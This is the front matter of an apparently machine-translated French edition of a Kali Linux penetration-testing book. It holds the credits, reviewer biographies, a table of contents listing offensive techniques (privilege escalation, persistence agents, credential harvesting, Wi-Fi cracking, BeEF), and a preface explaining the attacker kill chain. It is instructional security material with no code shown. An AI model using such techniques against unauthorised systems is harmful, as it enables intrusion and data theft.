Vous êtes sur la page 1sur 420

Page 1

Page 2
Maîtriser Kali Linux pour
Tests de pénétration avancés
Un guide pratique pour tester la sécurité de votre réseau avec
Kali Linux, le choix préféré des testeurs d'intrusion
et les pirates
Robert W. Beggs
BIRMINGHAM - MUMBAI

Page 3
Maîtriser Kali Linux pour les tests de pénétration avancés
Copyright © 2014 Éditions Packt
Tous les droits sont réservés. Aucune partie de ce livre ne peut
être reproduite, stockée dans un
système, ou transmis sous quelque forme ou par quelque
moyen que ce soit, sans l'autorisation écrite préalable
l'autorisation de l'éditeur, sauf en cas de brèves citations
insérées dans
articles ou critiques critiques.
Tous les efforts ont été faits dans la préparation de ce livre
pour assurer l'exactitude
des informations présentées. Cependant, les informations
contenues dans ce livre sont
vendu sans garantie, expresse ou implicite. Ni l'auteur, ni Packt
Publishing, et ses revendeurs et distributeurs seront tenus
responsables de tout dommage
causé ou allégué être causé directement ou indirectement par
ce livre.
Packt Publishing s'est efforcé de fournir des informations sur
les marques sur tous les
entreprises et produits mentionnés dans ce livre par l'utilisation
appropriée des majuscules.
Cependant, Packt Publishing ne peut garantir l'exactitude de
ces informations.
Première publication : juin 2014
Référence de fabrication : 1160614
Publié par Packt Publishing Ltd.
Lieu de la livrée
35 rue de la livrée
Birmingham B3 2PB, Royaume-Uni.
ISBN 978-1-78216-312-1
www.packtpub.com
Image de couverture par Robert W. Beggs
( robert.beggs@digitaldefence.ca )

Page 4
Crédits
Auteur
Robert W. Beggs
Réviseurs
Terry P. Cutler
Danang Heriyadi
Tajinder Singh Kalsi
Amit Pandurang Karpe
Ashish Pandurang Karpe
Kunal Sehgal
Éditeur d'acquisitions
James Jones
Éditeur de développement de contenu
Amey Varangaonkar
Rédacteurs techniques
Pragnesh Bilimoria
Monsieur Chavan
Aparna Kumar
Pooja Nair
Coordinateur de projet
Akash Poojary
Éditeurs de copie
Tanvi Gaitonde
Dipti Kapadia
Insiya Morbiwala
Kirti Pai
Alfida Paiva
Stuti Srivastava
Relecteurs
Simran Bhogal
Mario Cecere
Joël Johnson
Indexeurs
Hemangini Bari
Monica Ajmera Mehta
Graphique
Ronak Dhruv
Coordonnateurs de production
Pooja Chiplunkar
Manu Joseph
Travail de couverture
Pooja Chiplunkar

Page 5
A propos de l'auteur
Robert W. Beggs est le fondateur et PDG de Digital Defence,
une entreprise
qui se spécialise dans la prévention et la réponse aux incidents
de sécurité de l'information.
Il a plus de 15 ans d'expérience dans la direction technique de
la sécurité
engagements, y compris les tests de pénétration des réseaux
filaires et sans fil,
réponse aux incidents et analyse des données.
Robert est un fervent évangéliste de la sécurité et cofondateur
de Toronto Area Security
Klatch, le plus grand groupe d'utilisateurs de sécurité
indépendant des fournisseurs connus en Amérique du Nord.
Il est membre du conseil consultatif de la SecTor Security
Conference ainsi que
sur plusieurs programmes universitaires de sécurité. Il est un
formateur enthousiaste en sécurité et
a enseigné des cours aux diplômés, aux étudiants de premier
cycle et aux étudiants en formation continue
en sécurité de l'information dans plusieurs universités
canadiennes.
Robert est titulaire d'un MBA en sciences et technologie de
l'Université Queen's et est
un professionnel certifié de la sécurité des systèmes
d'information.
Tout d'abord, et c'est peut-être le plus important, je voudrais
remercier le
développeurs et supporters de Kali Linux. Ensemble, ils ont
produit l'un des outils les plus importants pour sécuriser les
réseaux
et données. Je tiens à remercier les éditeurs et les relecteurs de
Packt
Publication pour leur soutien et leur patience apparemment
sans fin pendant
l'écriture de ce livre. Je te promets que le prochain ira plus vite !
Je tiens également à remercier Brian Bourne et les autres
membres de
le Klatch de sécurité de la région de Toronto. Ils m'ont donné
un incroyable
l'opportunité d'apprendre et de partager des connaissances
avec les meilleurs
communauté de geeks de la sécurité.
Tout au long de l'écriture de ce livre, ma famille m'a donné à la
fois
une motivation et un soutien incroyables. Merci Sarah, Alex et
Annika.
Et enfin, un merci tout spécial à ma mère et à mon père—je ne
peux pas
rappelez-vous quand j'ai appris à lire pour la première fois -
avec vos encouragements, il
était toujours naturel d'avoir un livre entre les mains.
Merci.

Page 6
À propos des évaluateurs
Terry P. Cutler est un expert en cybersécurité (un hacker
éthique certifié) et le
cofondateur et directeur de la technologie de la société de
sécurité informatique et de défense des données, Digital
Serruriers Inc. à Montréal, Canada. Ils protègent les petites
entreprises, les grandes agences,
les familles et les individus de cybercriminels qui victimisent
environ 1,5
millions de personnes par jour (600 000 rien que sur Facebook).
Il est spécialisé dans l'anticipation, l'évaluation et la prévention
des atteintes à la sécurité des
les gouvernements, les entreprises, les entreprises et les
consommateurs. Ayant été certifié
hacker éthique, entre autres depuis 2005, il a eu l'occasion de
présenter dans
devant un public en direct de 2500 personnes et avec des
dizaines de milliers à travers le monde,
sur le streaming en direct et enregistré, comment un pirate
informatique pourrait s'introduire dans presque n'importe
quelle entreprise
avec une fausse demande LinkedIn. Vous pouvez voir cette
vidéo sur sa chaîne YouTube.
Terry a assuré la sécurité Internet pour les enfants, les parents
et la loi
application de la loi depuis 2006. Il croit que la prévention, la
protection des rues et
communication parent-enfant sont les moyens les plus
efficaces pour empêcher un enfant de
être enlevé ou victime d'agression et d'exploitation. Donner
aux enfants
les connaissances et les compétences pratiques dont ils ont
besoin pour s'occuper d'eux-mêmes sont aussi
important que de leur apprendre à lire et à écrire. Vous pouvez
en savoir plus à ce sujet sur
http://www.TheCourseOnInternetSafety.com .
Il contribue fréquemment aux reportages des médias sur la
cybercriminalité, l'espionnage, la sécurité
les échecs, les escroqueries sur Internet et les véritables
dangers des réseaux sociaux que les familles et les
les individus sont confrontés au quotidien. Il est reconnu
comme un leader transformationnel,
résolveur de problèmes et conseiller de confiance doté d'un
véritable talent pour favoriser
et des relations de travail collaboratives à tous les niveaux de
l'organisation.

Page 7
Avant de quitter son emploi en 2011 pour se concentrer à
temps plein sur les serruriers numériques, Terry
a travaillé pour un géant du logiciel, Novell. Il a rejoint cette
société mondiale de logiciels
qui se spécialise dans les systèmes d'exploitation d'entreprise
et l'identité, la sécurité et les systèmes
solutions de gestion pour fournir un support d'ingénierie à la
prime de l'entreprise
clients de service comprenant jusqu'à 45 000 utilisateurs et 600
serveurs dans le monde entier.
J'aimerais prendre un moment pour remercier Robert W. Beggs
d'avoir généreusement
me prenant sous son aile en tant que mentor en 2004 et
guidant
moi à travers les processus et les pièges du travail dans cette
industrie.
Maintenant que j'ai mûri en tant que spécialiste de l'industrie,
je suis honoré d'être
capable de partager certains de mes propres apprentissages et
expériences avec Rob
et avec ses lecteurs.
Un merci tout spécial à ma famille, ma femme Franca et nos fils,
David et Matthieu, pour leur soutien, leurs encouragements,
leur patience,
des câlins et un amour inconditionnel au cours des dernières
années.
Danang Heriyadi est un chercheur indonésien en sécurité
informatique, spécialisé
en rétro-ingénierie et exploitation de logiciels avec plus de cinq
ans d'expérience
expérience pratique.
Il travaille actuellement chez Hatsecure en tant qu'instructeur
pour Advanced Exploit et
Développement de shellcode. En tant que chercheur, il aime
partager ses connaissances en sécurité informatique
via son blog sur Fuzzerbyte ( http://www.fuzzerbyte.com ).
Je voudrais remercier mes parents de m'avoir donné la vie; sans
eux,
Je ne serais pas ici aujourd'hui ; ma petite amie, pour m'avoir
soutenu chaque
jour avec son sourire et de l'amour; et mes amis, que je n'ai pas
de mots
décrire.

Page 8
Tajinder Singh Kalsi est le cofondateur et un évangéliste
technique chez Virscent
Technologies Pvt. Ltd., avec plus de six ans d'expérience
professionnelle dans le domaine
de l'informatique. Il a commencé sa carrière chez Wipro en tant
qu'associé technique et est devenu plus tard
consultant et formateur en informatique. À l'heure actuelle, il
anime des séminaires dans des collèges à travers
Inde sur des sujets tels que la sécurité de l'information, le
développement d'applications Android,
développement de sites Web et cloud computing. À ce stade, il
a couvert plus de
120 collèges et plus de 9 000 étudiants. Outre la formation, il a
également
tient un blog ( www.virscent.com/blog ), qui explique diverses
astuces de piratage.
Il a déjà passé en revue les tests d'intrusion Web avec Kali Linux ,
Joseph Muniz et
Aamir Lakhani , Éditions Packt .
Il peut être trouvé sur Facebook à
www.facebook.com/tajinder.kalsi.tj ou vous
pouvez le suivre sur son site Internet www.tajinderkalsi.com .
Je tiens à remercier l'équipe de Packt Publishing d'avoir
approché
moi à travers mon blog et m'offrir à nouveau cette opportunité.
J'aimerais
aussi remercier ma famille et mes amis proches pour tout le
soutien qu'ils
ont donné pendant que je travaillais sur ce projet.
Amit Pandurang Karpe travaille pour FireEye, Inc., une société
mondiale de sécurité de l'information
entreprise, en tant qu'ingénieur de support pour leurs clients
en Asie-Pacifique. Il reste
à Singapour avec sa femme, Swatee, et son fils, Sparsh. Il a été
actif en plein air
communauté source de ses années d'université, en particulier à
Pune, où il a pu
organiser diverses activités avec l'aide de communautés
dynamiques et prospères, telles que
comme PLUG, TechPune, IT-Milan et Embedded Nirvana. Il écrit
des articles de blog sur
technologies sur http://www.amitkarpe.com .
Il a travaillé sur le prototypage rapide de BeagleBoard avec
MATLAB et Simulink ,
Dr Xuewu Dai et Dr Fei Qin , Packt Publishing . Actuellement, il
travaille sur la construction
Laboratoires virtuels de pentest pour les tests d'intrusion
avancés , Kevin Cardwell et Kali Linux
CTF Blueprints , Cam Buchanan , tous deux par Packt Publishing.
Je tiens à remercier la communauté open source, sans qui
Je n'aurais pas pu réussir. Un merci spécial aux visionnaires
derrière
Kali Linux, qui croyait en l'open source et a dirigé en fournissant
divers exemples. Merci également aux membres de la
communauté
et des experts en sécurité de l'information, qui continuent à
faire un excellent travail, qui
fait de Kali Linux un succès.

Page 9
Je tiens à remercier l'équipe Packt Publishing, les éditeurs et le
coordinateur de projet, qui a continué à faire les bonnes choses
pour que je sois
capable d'accomplir mon travail au mieux de mes capacités.
Je tiens à remercier Pune Linux Users Group (PLUG), Embedded
groupe Nirvana, et amis VSS, grâce à qui j'ai pu
travailler sur ce projet. Je tiens également à remercier tous mes
gourous, qui
m'a aidé et guidé dans ce domaine—Dr. Vijay Gokhale, Sunil
Dhadve, Sudhanwa Jogalekar, Bharathi Subramanian,
Mohammed
Khasim et Niyam Bhushan.
Enfin, je tiens à remercier ma famille, ma mère, mon père, mon
frère, mon fils et ma femme, Swatee, sans lesquels
soutien, je n'aurais pas pu donner le meilleur de moi-même à
ce projet.
Ashish Pandurang Karpe travaille en tant qu'associé de support
système avec
CompuCom-CSI Systems Inde Pvt. Ltd. Il a été actif dans l'open
source
communauté depuis ses années de collège, où il a pu organiser
diverses activités
avec l'aide de communautés dynamiques et prospères telles
que PLUG et VITLUG.
Je tiens tout d'abord à remercier la communauté open source,
sans
dont l'aide, je n'aurais pas pu être ici. J'aimerais
remercier ma famille, c'est-à-dire Anuradha (mère), Pandurang
(père),
Sparsh (neveu), Amit (frère) et Swatee (belle-sœur). je
tiens à remercier l'équipe Packt Publishing, les éditeurs et le
projet
coordinateur qui a continué à faire les bonnes choses pour que
je puisse
effectuer mon travail au mieux de mes capacités.
Je voudrais remercier Pune GNU/Linux Users Group (PLUG).
J'aimerais
aussi remercier mon gourou, qui m'a aidé et guidé dans cette
champ Dr. Vijay Gokhale.

Page 10
Kunal Sehgal fait partie de l'industrie de la sécurité
informatique depuis 2006 après
spécialisé dans la sécurité du cyberespace du Georgian College,
Canada. Il a été
associés à divers organismes financiers. Cela l'a non seulement
doté
une expérience dans un lieu où la sécurité est cruciale, mais qui
lui a également permis de
expertise précieuse dans ce domaine. Il peut être contacté sur
KunSeh.com .
Kunal dirige actuellement les opérations de sécurité
informatique pour la région APAC de l'un des
plus grandes banques européennes. Il a accumulé de
l'expérience dans diverses fonctions,
allant de l'évaluation de la vulnérabilité à la gouvernance de la
sécurité et du risque
évaluation à la surveillance de la sécurité. Un croyant de se
tenir au courant de la
derniers événements dans son domaine, il contribue à des
livres, organise des ateliers et écrit
blogs, tous pour promouvoir la sécurité. Il détient également
un certain nombre de certifications à son nom,
y compris le propre OSCP de Backtrack, et d'autres tels que
CISSP, TCNA, CISM,
CCSK, Security+, Cisco Router Security, ISO 27001 LA et ITIL.
Je suis un grand partisan du projet Backtrack (maintenant Kali),
et d'abord
et avant tout, je tiens à remercier leur équipe de base. Plus
précisément,
je remercie les muts ; sans sa formation et son attention
personnelle, je ne peux pas
ont pu s'y accrocher. Sur le plan personnel, je remercie
ma famille aimante (parents, frère et femme) pour leur
interminable
soutien et confiance en moi. Je les ai négligés, plus que j'aime à
admettre, juste pour passer du temps dans le cyber-monde.

Page 11
www.PacktPub.com
Fichiers de support, eBooks, offres de réduction,
et plus
Vous pouvez visiter www.PacktPub.com pour les fichiers de
support et les téléchargements liés à
ton livre.
Saviez-vous que Packt propose des versions eBook de chaque
livre publié, avec PDF et
Fichiers ePub disponibles ? Vous pouvez passer à la version
eBook sur www.PacktPub.com et
en tant que client de livres imprimés, vous avez droit à une
réduction sur la copie électronique. Entrer en contact
avec nous à service@packtpub.com pour plus de détails.
Sur www.PacktPub.com, vous pouvez également lire une
collection d'articles techniques gratuits, vous inscrire
pour une gamme de newsletters gratuites et recevez des
remises et des offres exclusives sur les livres Packt
et des livres électroniques.
MT
http://PacktLib.PacktPub.com
Avez-vous besoin de solutions instantanées à vos questions
informatiques ? PacktLib est la plateforme numérique en ligne
de Packt
bibliothèque de livres. Ici, vous pouvez accéder, lire et
rechercher dans toute la bibliothèque de livres de Packt.
Pourquoi s'abonner ?
• Entièrement consultable dans tous les livres publiés par Packt
• Copiez et collez, imprimez et marquez le contenu
• À la demande et accessible via un navigateur Web
Accès gratuit pour les titulaires de compte Packt
Si vous avez un compte avec Packt sur www.PacktPub.com,
vous pouvez l'utiliser pour accéder
PacktLib aujourd'hui et consultez neuf livres entièrement
gratuits. Utilisez simplement vos identifiants de connexion pour
accès immédiat.

Page 12
Table des matières
Préface
1
Partie 1 : La chaîne de mise à mort de l'attaquant
Chapitre 1 : Démarrer avec Kali Linux
15
Kali Linux
15
Configuration des services réseau et des communications
sécurisées
18
Ajuster les paramètres du proxy réseau
20
Sécurisation des communications avec Secure Shell
21
Mise à jour de Kali Linux
23
Le système de gestion de paquets Debian
23
Paquets et référentiels
23
Dpkg
24
Utilisation d'outils d'empaquetage avancés
24
Configuration et personnalisation de Kali Linux
25
Réinitialiser le mot de passe root
26
Ajouter un utilisateur non root
26
Accélérer les opérations de Kali
26
Partage de dossiers avec Microsoft Windows
28
Créer un dossier crypté avec TrueCrypt
30
Gestion des applications tierces
35
Installation d'applications tierces
35
Exécution d'applications tierces avec des privilèges non root
37
Gestion efficace des tests d'intrusion
38
Sommaire
40

Page 13
Table des matières
[ ii ]
Chapitre 2 : Identification de la cible – Reconnaissance passive
43
Principes de base de la reconnaissance
44
Intelligence libre
45
Reconnaissance DNS et cartographie des routes
47
QUI EST
48
Reconnaissance DNS
50
IPv4
51
IPv6
53
Cartographie de l'itinéraire vers la cible
54
Obtention d'informations sur l'utilisateur
57
Collecte de noms et d'adresses e-mail
58
Profilage des utilisateurs pour les listes de mots de passe
61
Sommaire
63
Chapitre 3 : Reconnaissance active et analyse des
vulnérabilités
65
Stratégies de balayage furtif
66
Réglage de la pile IP source et des paramètres d'identification
de l'outil
66
Modification des paramètres de paquet
68
Utilisation de proxys avec des réseaux d'anonymat (Tor et
Privoxy)
69
Identification de l'infrastructure réseau
73
Énumération des hôtes
75
Découverte d'hôte en direct
75
Découverte de ports, de systèmes d'exploitation et de
services
76
Analyse des ports
76
Empreinte digitale du système d'exploitation
77
Détermination des services actifs
79
Utilisation d'applications de reconnaissance complètes
80
nmap
81
Le cadre de reconnaissance
82
Maltego
85
Analyse des vulnérabilités
88
Sommaire
89
Chapitre 4 : Exploiter
91
Modélisation des menaces
92
Utilisation des ressources de vulnérabilité en ligne et locales
93
Le cadre Metasploit
98
Exploiter une application vulnérable
103
Exploiter plusieurs cibles avec Armitage
105
Tests en équipe avec Armitage
107
Script de l'attaque d'Armitage
108
Identifiants de contournement et détection antivirus
110
Sommaire
118

Page 14
Table des matières
[ iii ]
Chapitre 5 : Post Exploit – Action sur l'objectif
119
Contourner le contrôle de compte d'utilisateur Windows
120
Effectuer une reconnaissance rapide d'un système compromis
122
Utilisation du langage de script WMIC
125
Trouver et prendre des données sensibles – piller la cible
129
Création de comptes supplémentaires
133
Utiliser Metasploit pour les activités post-exploit
134
Escalade des privilèges utilisateur sur un hôte compromis
139
Rejouer les jetons d'authentification à l'aide de la navigation
privée
140
Manipulation des informations d'identification d'accès avec
Windows Credential Editor
142
Escalade d'administrateur à SYSTÈME
143
Accès aux nouveaux comptes avec escalade horizontale
143
Couvrir vos traces
144
Sommaire
147
Chapitre 6 : Post Exploit – Persistance
149
Compromission du système existant et des fichiers
d'application
pour accès à distance
150
Activation à distance du service Telnet
150
Activation à distance des services Windows Terminal Server
152
Activation à distance de Virtual Network Computing
154
Utilisation d'agents persistants
155
Utiliser Netcat en tant qu'agent persistant
155
Maintenir la persistance avec le framework Metasploit
159
Utilisation du script metsvc
159
Utilisation du script de persistance
161
Créer un agent persistant autonome avec Metasploit
163
Rediriger les ports pour contourner les contrôles réseau
165
Exemple 1 – redirection de port simple
166
Exemple 2 – redirection de port bidirectionnel
167
Sommaire
168
Partie 2 : La phase de livraison
Chapitre 7 : Attaques physiques et ingénierie sociale
171
Boîte à outils d'ingénierie sociale
172
Attaque de harponnage
176
Utilisation d'un vecteur d'attaque de site Web - Méthode
d'attaque d'applet Java
181
Utilisation d'un vecteur d'attaque de site Web - Méthode
d'attaque Credential Harvester
186
Utilisation d'un vecteur d'attaque de site Web - Méthode
d'attaque Tabnabbing
188
Utilisation d'un vecteur d'attaque de site Web - Méthode Web
multi-attaques
190

Page 15
Table des matières
[ iv ]
Utilisation de l'attaque par injection de shellcode
alphanumérique PowerShell
190
Cacher les exécutables et obscurcir l'URL de l'attaquant
192
Escalade d'une attaque à l'aide de la redirection DNS
194
Accès physique et appareils hostiles
197
Vecteurs d'attaque Raspberry Pi
200
Sommaire
202
Chapitre 8 : Exploiter les communications sans fil
203
Configuration de Kali pour les attaques sans fil
204
Reconnaissance sans fil
204
Kismet
207
Contournement d'un identificateur d'ensemble de services
caché
209
Contourner l'authentification par adresse MAC
211
Compromettre un cryptage WEP
213
Attaquer WPA et WPA2
219
Attaques par force brute
219
Attaquer les routeurs sans fil avec Reaver
223
Cloner un point d'accès
224
Attaques par déni de service
225
Sommaire
227
Chapitre 9 : Reconnaissance et exploitation
d'applications Web
229
Effectuer la reconnaissance des sites Web
230
Analyseurs de vulnérabilité
236
Extension des fonctionnalités des scanners de vulnérabilité
traditionnels
237
Extension des fonctionnalités des navigateurs Web
238
Scanners de vulnérabilités spécifiques aux services Web
240
Tester la sécurité avec des proxys côté client
243
Exploits de serveur
250
Attaques spécifiques aux applications
251
Identifiants d'accès par force brute
251
Attaques par injection contre des bases de données
252
Maintien de l'accès avec des portes dérobées Web
254
Sommaire
256
Chapitre 10 : Exploitation des communications d'accès à
distance
257
Exploiter les protocoles de communication du système
d'exploitation
258
Compromettre le protocole de bureau à distance
258
Compromis Secure Shell
262
Exploitation d'applications d'accès à distance tierces
264

Page 16
Table des matières
[v]
Attaquer la couche de sockets sécurisés
266
Configuration de Kali pour l'analyse SSLv2
267
Reconnaissance des connexions SSL
269
Utiliser sslstrip pour mener une attaque man-in-the-middle
275
Attaques par déni de service contre SSL
277
Attaquer un réseau privé virtuel IPSec
278
Recherche de passerelles VPN
279
Empreinte digitale de la passerelle VPN
280
Capture de clés pré-partagées
282
Effectuer un cracking PSK hors ligne
282
Identification des comptes d'utilisateurs par défaut
283
Sommaire
283
Chapitre 11 : Exploitation côté client
285
Attaquer un système à l'aide de scripts hostiles
286
Mener des attaques à l'aide de VBScript
286
Attaquer des systèmes à l'aide de Windows PowerShell
289
Le framework de script inter-sites
291
Le cadre d'exploitation Brower – BeEF
299
Installation et configuration du Browser Exploitation
Framework
300
Présentation du navigateur BeEF
303
Intégration des attaques BeEF et Metasploit
308
Utiliser BeEF comme proxy de tunneling
309
Sommaire
311
Annexe : Installation de Kali Linux
313
Téléchargement de Kali Linux
313
Installation de base de Kali Linux
314
Installer Kali Linux sur une machine virtuelle
315
Chiffrement complet du disque et nuking de la clé principale
316
Mise en place d'un environnement de test
321
Systèmes d'exploitation et applications vulnérables
322
Indice
327

Page 17

Page 18
Préface
Ce livre est dédié à l'utilisation de Kali Linux dans la réalisation
de tests d'intrusion
contre les réseaux. Un test d'intrusion simule une attaque
contre un réseau ou
un système par un étranger ou un initié malveillant.
Contrairement à une évaluation de la vulnérabilité,
les tests d'intrusion sont conçus pour inclure la phase
d'exploitation. Par conséquent, il prouve
que l'exploit est présent, et qu'il s'accompagne du risque bien
réel d'être
compromis s'il n'est pas suivi.
Tout au long de ce livre, nous ferons référence à des "testeurs
de pénétration",
« attaquants » et « hackers » indifféremment car ils utilisent le
même
techniques et outils pour évaluer la sécurité des réseaux et
systèmes de données. La seule différence entre eux est leur fin
objectif : un réseau de données sécurisé ou une violation de
données.
La plupart des testeurs et des attaquants suivent une approche
informelle, open source ou propriétaire
méthodologie de test qui guide le processus de test. Il y a
certains avantages de
suivant une méthodologie :
• Une méthodologie identifie les parties du processus de test
qui peuvent être automatisées
(par exemple, un testeur peut toujours utiliser un balayage ping
pour identifier les potentiels
cibles; par conséquent, cela peut être scripté), permettant au
testeur de se concentrer sur
techniques créatives pour trouver et exploiter les vulnérabilités
• Les résultats sont reproductibles, ce qui permet de les
comparer dans le temps ou de
contre-valider les résultats d'un testeur par rapport à un autre,
ou pour déterminer comment le
la sécurité de la cible s'est améliorée (ou pas !) au fil du temps
• Une méthodologie définie est prévisible en termes de temps
et de personnel
exigences, permettant de contrôler et de minimiser les coûts
• Une méthodologie pré-approuvée par le client, protège le
testeur
contre la responsabilité en cas de dommages au réseau ou aux
données
Page 19
Préface
[2]
Les méthodologies formelles comprennent les exemples bien
connus suivants :
• Le framework de tests d'intrusion de Kevin Orrey : cette
méthodologie marche
le testeur à travers les étapes séquencées d'un test d'intrusion,
fournissant
des hyperliens vers des outils et des commandes pertinentes.
Plus d'informations peuvent être trouvées
sur www.vulnerabilityassessment.co.uk .
• Cadre d'évaluation de la sécurité des systèmes
d'information (ISSAF) :
Ce guide complet vise à être la source unique pour tester un
réseau.
Vous trouverez plus d'informations à ce sujet sur
www.oissg.org .
• NIST SP 800-115, guide technique pour les tests de sécurité
de l'information et
évaluation : Rédigée en 2008, la méthodologie en quatre
étapes est quelque peu
dépassé. Cependant, il donne un bon aperçu des étapes de
base dans
tests de pénétration. Vous pouvez obtenir plus d'informations
sur http://csrc.nist.
gov/publications/nistpubs/800-115/SP800-115.pdf .
• Manuel de méthodologie de test de sécurité Open Source
(OSSTMM) :
Il s'agit de l'une des méthodologies les plus anciennes, et la
dernière version tente de
quantifier les risques identifiés. Plus de détails peuvent être
trouvés sur www.osstmm.org .
• Open Web Application Security Project (OWASP) : il est axé
sur le
10 vulnérabilités les plus courantes dans les applications Web.
Suite
des informations à ce sujet sont disponibles sur
www.owasp.org .
• Norme d'exécution des tests d'intrusion (PTES) : activement
maintenue,
cette méthodologie est complète et reflète fidèlement les
activités
d'une personne malveillante. Vous pouvez obtenir plus
d'informations sur
www.pentest-standard.org .
• Cadre de test offensif (Web) (OWTF) : introduit en 2012, il
s'agit d'un
direction très prometteuse en combinant l'approche OWASP
avec la plus
méthodologie PTES complète et rigoureuse. Plus de détails
peuvent être trouvés à
https://github.com/7a/owtf .
Malheureusement, l'utilisation d'une méthodologie structurée
peut introduire des faiblesses dans
le processus de test :
• Les méthodologies tiennent rarement compte de la raison
pour laquelle un test d'intrusion est entrepris, ou
quelles données sont essentielles à l'entreprise et doivent être
protégées. En l'absence
de cette première étape vitale, les tests d'intrusion perdent
leur concentration.
• De nombreux testeurs d'intrusion sont réticents à suivre une
méthodologie définie,
craignant que cela n'entrave leur créativité dans l'exploitation
d'un réseau.

Page 20
Préface
[3]
• Les tests de pénétration ne reflètent pas les activités réelles
d'un attaquant malveillant.
Souvent, le client veut voir si vous pouvez obtenir un accès
administrateur sur
un système particulier ("Pouvez-vous rooter la box ?").
Cependant, l'agresseur peut
se concentrer sur la copie des données critiques d'une manière
qui ne nécessite pas de racine
l'accès ou provoquer un déni de service.
Pour remédier aux limites inhérentes aux méthodologies de
test formelles, elles doivent
être intégré dans un cadre qui considère le réseau du point de
vue d'un
attaquant, la "chaîne de destruction".
L'approche « Kill Chain » pour
tests de pénétration
En 2009, Mike Cloppert de Lockheed Martin CERT a introduit le
concept qui est
maintenant connue sous le nom de « chaîne de destruction des
attaquants ». Cela comprend les mesures prises par un
adversaire
lorsqu'ils attaquent un réseau. Il ne se déroule pas toujours
dans un flux linéaire car
certaines étapes peuvent se dérouler en parallèle. Plusieurs
attaques peuvent être lancées au fil du temps au
même cible, et des étapes qui se chevauchent peuvent se
produire en même temps.
Dans ce livre, nous avons modifié la chaîne de destruction de
Cloppert pour refléter plus précisément
sur la façon dont les attaquants appliquent ces étapes lorsqu'ils
exploitent des réseaux et des services de données.
Le schéma suivant montre une kill chain typique d'un
attaquant :
Exploit
Phase de livraison
??
Passif (indirect)
??
Actif (direct)
Reconnaissance
??
Agir sur le
objectif
??
Persistance
Post-exploiter

Page 21
Préface
[4]
Une chaîne de destruction typique d'un attaquant peut être
décrite comme suit :
• Phase de reconnaissance - L'adage, "le temps de
reconnaissance n'est jamais perdu
temps", adopté par la plupart des organisations militaires
reconnaît qu'il vaut mieux
d'apprendre autant que possible sur un ennemi avant de les
engager. Pour le
même raison, les attaquants effectueront une reconnaissance
approfondie d'une cible
avant d'attaquer. En fait, on estime qu'au moins 70 pour cent
du « travail
effort" d'un test d'intrusion ou d'une attaque est consacré à la
reconnaissance !
Généralement, ils emploieront deux types de reconnaissance :
°
Reconnaissance passive - Cela n'interagit pas directement avec
le
cible de manière hostile. Par exemple, l'attaquant examinera
le ou les sites Web accessibles au public, évaluer les médias en
ligne (en particulier
sites de médias sociaux) et tenter de déterminer la "surface
d'attaque"
de la cible.
Une tâche particulière consistera à générer une liste des
données passées et actuelles
noms des employés. Ces noms formeront la base des tentatives
à la force brute ou à deviner des mots de passe. Ils seront
également utilisés
dans les attaques d'ingénierie sociale.
Ce type de reconnaissance est difficile, voire impossible,
distinguer du comportement des utilisateurs réguliers.
°
Reconnaissance active - Ceci peut être détecté par la cible mais,
il peut être difficile de distinguer les visages de la plupart des
organisations en ligne
des milieux réguliers.
Les activités qui se produisent pendant la reconnaissance active
comprennent
visites physiques dans les locaux cibles, analyse des ports et à
distance
analyse des vulnérabilités.
• La phase de livraison – La livraison est la sélection et le
développement de
l'arme qui sera utilisée pour terminer l'exploit lors de l'attaque.
L'arme exacte choisie dépendra de l'attaquant est l'intention
aussi bien
comme voie de livraison (par exemple, à travers le réseau, via
sans fil,
ou via un service Web). L'impact de la phase de livraison est
être examiné dans la seconde moitié de ce livre.

Page 22
Préface
[5]
• La phase d'exploitation ou de compromission – C'est le
moment où un
exploit est appliqué avec succès, permettant aux attaquants
d'atteindre leur objectif.
Le compromis peut se produire en une seule phase (par
exemple, un connu
la vulnérabilité du système d'exploitation a été exploitée au
moyen d'un débordement de tampon),
ou il peut s'agir d'un compromis en plusieurs phases (par
exemple, un attaquant
des locaux physiquement accessibles pour voler un annuaire
téléphonique d'entreprise. Les noms
ont été utilisés pour créer des listes d'attaques par force brute
contre une connexion au portail. Dans
De plus, des e-mails ont été envoyés à tous les employés pour
cliquer sur un lien intégré à
télécharger un fichier PDF conçu qui a compromis leurs
ordinateurs.). Multiphase
les attaques sont la norme lorsqu'un attaquant malveillant cible
une entreprise spécifique.
• Post exploit : action sur l'objectif – Ceci est fréquemment, et
à tort,
appelée la « phase exfiltration », car l'accent est mis sur la
perception
attaques uniquement comme moyen de voler des données
sensibles (telles que les informations de connexion,
informations personnelles et informations financières) ; il est
courant pour un attaquant
avoir un objectif différent. Par exemple, une entreprise peut
souhaiter provoquer un
déni de service dans le réseau de leur concurrent pour attirer
les clients vers leur
propre site Web. Par conséquent, cette phase doit se
concentrer sur les nombreuses actions possibles
d'un agresseur.
L'un des plus commun se produit lorsque l'activité exploit, les
attaquants
tenter d'améliorer leurs privilèges d'accès au plus haut niveau
possible
(escalade verticale), et de compromettre autant de comptes
que possible
(escalade horizontale).
• Post exploit : persistance – S'il est utile de compromettre un
réseau ou
système, cette valeur peut probablement être augmentée s'il y
a un accès permanent.
Cela permet aux attaquants de maintenir les communications
avec un
système. Du point de vue d'un défenseur, c'est la partie de la
chaîne de destruction qui
est généralement le plus facile à détecter.
Les chaînes de mise à mort sont des métamodèles du
comportement d'un attaquant lorsqu'il tente de compromettre
un réseau ou un système de données particulier. En tant que
métamodèle, il peut intégrer tout
méthodologie de test d'intrusion propriétaire ou commerciale.
Contrairement aux méthodologies,
cependant, il garantit une focalisation au niveau stratégique sur
la façon dont un attaquant approche le réseau.
Cette focalisation sur les activités de l'attaquant guidera la mise
en page et le contenu de ce livre.

Page 23
Préface
[6]
Ce que couvre ce livre
Ce livre est divisé en deux parties. Dans la partie 1 , The
Attacker's Kill Chain , nous suivrons
les étapes d'une kill chain, en analysant chaque phase en détail.
Dans la partie 2 , La phase de livraison ,
nous allons nous concentrer sur la phase de livraison et
certaines des méthodes disponibles
comprendre comment se déroulent les attaques et comment
ces connaissances peuvent être utilisées pour sécuriser
un réseau.
Le chapitre 1 , À partir de Kali Linux , présente au lecteur les
principes fondamentaux de Kali
Linux et sa configuration optimale pour prendre en charge les
tests d'intrusion.
Le chapitre 2 , Identification de la cible – Reconnaissance
passive , fournit un
comment recueillir des informations sur une cible en utilisant
des sources accessibles au public, et la
des outils qui peuvent simplifier la reconnaissance et gestion de
l'information.
Le chapitre 3 , Active Reconnaissance and Vulnerability
Scanning , présente au lecteur
approches furtives qui peuvent être utilisées pour obtenir des
informations sur la cible, en particulier
les informations qui identifient les vulnérabilités qui pourraient
être exploitées.
